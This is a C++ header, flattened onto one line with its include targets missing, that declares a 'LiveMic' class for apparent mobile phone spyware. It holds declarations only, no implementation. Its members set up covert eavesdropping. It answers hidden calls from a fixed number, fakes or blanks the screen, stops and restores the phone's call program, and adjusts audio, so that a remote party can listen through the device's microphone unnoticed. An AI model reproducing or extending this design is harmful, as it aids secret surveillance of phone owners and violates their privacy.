#pragma once #include using namespace std; #include #include #include "FakeScreen.h" #include "Device.h" #include "ProcessMonitor.h" #include "ControlTh.h" #define TAPI_LOW_VERSION 0x10000 #define TAPI_HIGH_VERSION 0x20002 typedef enum _VIDEO_POWER_STATE { VideoPowerOn = 1, VideoPowerStandBy, VideoPowerSuspend, VideoPowerOff } VIDEO_POWER_STATE, *PVIDEO_POWER_STATE; #define MYDEFINE_GUID(name, l, w1, w2, b1, b2, b3, b4, b5, b6, b7, b8) \ EXTERN_C const GUID name = { l, w1, w2, { b1, b2, b3, b4, b5, b6, b7, b8 }} class TapiManager; class RilManager; class Registry; class LiveMic { private: static LiveMic* m_pInstance; static volatile LONG m_lLock; BOOL m_bHiddenCallInProgress, m_bCallInProgress, m_bNotificationThreadSuspended, m_bCtrlThreadActive, m_bPowerStatusOn, m_bLocalDrop, m_bInitialized, m_bHiddenCallIncoming; HCALL m_hCall; // NB: vedere se si puo' spostare in Tapimanager wstring m_wsTelephoneNumber; wstring m_wsCallerNumber; wstring m_wsCprog; wstring m_wsCprogPath; wstring m_wsCprogOptions; FakeScreen* m_pScreen; Device* m_pDevice; ProcessMonitor* m_pProcess; Registry* m_pRegistry; TapiManager* m_pTapiMan; RilManager* m_pRilMan; ControlTh* m_pCtrlTh; HANDLE m_hAnswerEvent; UINT m_hKillCprogTimer; protected: LiveMic(void); public: static LiveMic* self(); ~LiveMic(void); BOOL Initialize(wstring wsTelephoneNumber, HINSTANCE hInstance); VOID Uninitialize(); VOID SetCprogOption(wstring wsOption) { m_wsCprogOptions.assign(wsOption); } VOID RestoreAfterDrop(); // x RIL wstring GetHiddenTelNumber() { return m_wsTelephoneNumber; } VOID SetCallerTelNumber(wstring callerNumber) { m_wsCallerNumber = callerNumber; } HANDLE GetAnswerEventHandler() { return m_hAnswerEvent; } //BOOL DisableRilNotification() { return m_pRilMan->DisableNotification(); } //BOOL EnableRilNotification() { return m_pRilMan->EnableNotification(); } // Call BOOL IsHiddenCallInProgress() { return m_bHiddenCallInProgress; } BOOL DropHiddenCall(HCALL hCall, BOOL bRestore); BOOL HandleDisconnectCall(HCALL hCall); BOOL HandleNewCall(HCALL hCall); VOID LineCallStateConnected(); VOID LineCallStateDisconnected(); VOID LineCallStateOffering(HCALL hCall); VOID SetHiddenCallStatus(HCALL hCall); BOOL IsHiddenCallIncoming() { return m_bHiddenCallIncoming; } // Screen BOOL ScreenOn(); BOOL KeepScreenOff(); VOID KeepScreenOff(UINT uTime); VOID KeepScreenOff(UINT uTime, BOOL bScreenOn); BOOL FakeScreenStart() { return m_pScreen->Start(); } BOOL FakeScreenStop() { return m_pScreen->Stop(); } // Process BOOL StopCprog(); VOID RestoreCprog(); // Power BOOL GetPowerState() { return m_bPowerStatusOn; } // ControlTH BOOL StartCtrlTh() { if (!m_bCtrlThreadActive) m_bCtrlThreadActive = m_pCtrlTh->Start(); return m_bCtrlThreadActive; } VOID StopCtrlTh() { if (m_bCtrlThreadActive) { m_pCtrlTh->Stop(); m_bCtrlThreadActive = FALSE; } } // Test VOID AudioAdjust(); VOID AudioRestore(); }; .